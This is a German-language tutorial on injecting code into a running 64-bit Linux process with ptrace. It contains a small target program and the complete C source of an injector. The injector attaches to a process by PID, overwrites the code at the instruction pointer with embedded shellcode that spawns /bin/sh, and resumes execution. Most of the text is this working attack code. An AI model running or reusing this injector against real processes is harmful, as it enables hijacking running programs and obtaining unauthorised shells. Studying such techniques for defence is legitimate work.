Diesesmal soll Code in ein anderes Programm injected werden und das auf 64bit. Es gibt mehrere Anleitungen fuer 32bit:
- http://www.linuxjournal.com/article/6210?page=0,0
- http://www.securitytube.net/Bytecode-Injection-into-a-Running-Process-using-Ptrace%28%29-video.aspx
- http://blacklight.gotdns.org/#nopaste&id=1218436842
Zuerst einmal das Programm in das wir den Code injecten wollen:
1 #include <stdio.h> 2 #include <sys/types.h> 3 #include <sys/stat.h> 4 #include <fcntl.h> 5 6 7 int main() 8 { 9 int fd; 10 11 printf("my pid: %d\n", getpid()); 12 getchar(); 13 14 printf("blablawindows ist cool\n"); 15 printf("windows ist cool\n"); 16 17 fd = 2+2; 18 19 fd = open("/dev/null", O_WRONLY); 20 21 write(fd, "blabla", 6); 22 close(fd); 23 getchar(); 24 25 exit(13); 26 }
Und jetzt der Quellcode des Code-Injectors:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <sys/ptrace.h> 5 #include <asm/ptrace-abi.h> 6 #include <sys/reg.h> 7 #include <sys/user.h> 8 #include <unistd.h> 9 #include <bits/wordsize.h> 10 #include <sys/types.h> 11 #include <sys/wait.h> 12 13 void getdata(pid_t child, long addr, char *str, int len) 14 { 15 char *laddr; 16 int i = 0,j; 17 union u 18 { 19 long val; 20 char chars[sizeof(long)]; 21 } data; 22 23 j = len / sizeof(long); 24 laddr = str; 25 26 while (i < j) 27 { 28 data.val = ptrace(PTRACE_PEEKDATA, child, addr+(i * sizeof(long)), 29 NULL); 30 memcpy(laddr, data.chars, sizeof(long)); 31 i++; 32 laddr += sizeof(long); 33 } 34 j = len % sizeof(long); 35 36 if (j != 0) 37 { 38 data.val = ptrace(PTRACE_PEEKDATA, child, addr+(i * sizeof(long)), 39 NULL); 40 memcpy(laddr, data.chars, j); 41 } 42 43 str[len] = '\0'; 44 45 46 } 47 48 void putdata(pid_t child, long addr, char *str, int len) 49 { 50 char *laddr; 51 int i = 0, j; 52 union u 53 { 54 long val; 55 char chars[sizeof(long)]; 56 } data; 57 58 j = len/sizeof(long); 59 laddr = str; 60 61 while (i < j) 62 { 63 memcpy(data.chars, laddr, sizeof(long)); 64 ptrace(PTRACE_POKEDATA, child, addr+(i * sizeof(long)), data.val); 65 i++; 66 laddr += sizeof(long); 67 } 68 j = len % sizeof(long); 69 70 if (j != 0) 71 { 72 memcpy(data.chars, laddr, j); 73 ptrace(PTRACE_POKEDATA, child, addr+(i * sizeof(long)), data.val); 74 } 75 76 } 77 78 79 int main(int argc, char **argv) 80 { 81 pid_t process; 82 struct user_regs_struct regs; 83 84 char insertcode[] = 85 "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" 86 "\x54\x5f\x52\x57\x54\x5e\x0f\x05"; 87 88 int len = 25; 89 char backup[len]; 90 91 92 process = atoi(argv[1]); 93 94 ptrace(PTRACE_ATTACH, process, NULL, NULL); 95 perror("Attached"); 96 getchar(); 97 ptrace(PTRACE_GETREGS, process, NULL, ®s); 98 perror("Got regs"); 99 getchar(); 100 putdata(process, regs.rip, insertcode, len); 101 perror("Put code"); 102 getchar(); 103 ptrace(PTRACE_CONT, process, NULL, NULL); 104 perror("Cont"); 105 getchar(); 106 107 108 ptrace(PTRACE_DETACH, process, NULL, NULL); 109 110 111 return 0; 112 }
- Mit getdata() kann aus dem Memory des Testprogramms gelesen werden; mit putdata() kann geschrieben werden. (wird nicht benoetigt)
- insertcode ist ein shellcode, der einfach /bin/sh ausfuehrt
- Vorgehensweise
- Auslesen der Register
- Schreiben des Shellcodes an den derzeitigen Execution-Instruction-Pointer(rip) (via putdata)
- Prozess fortfahren

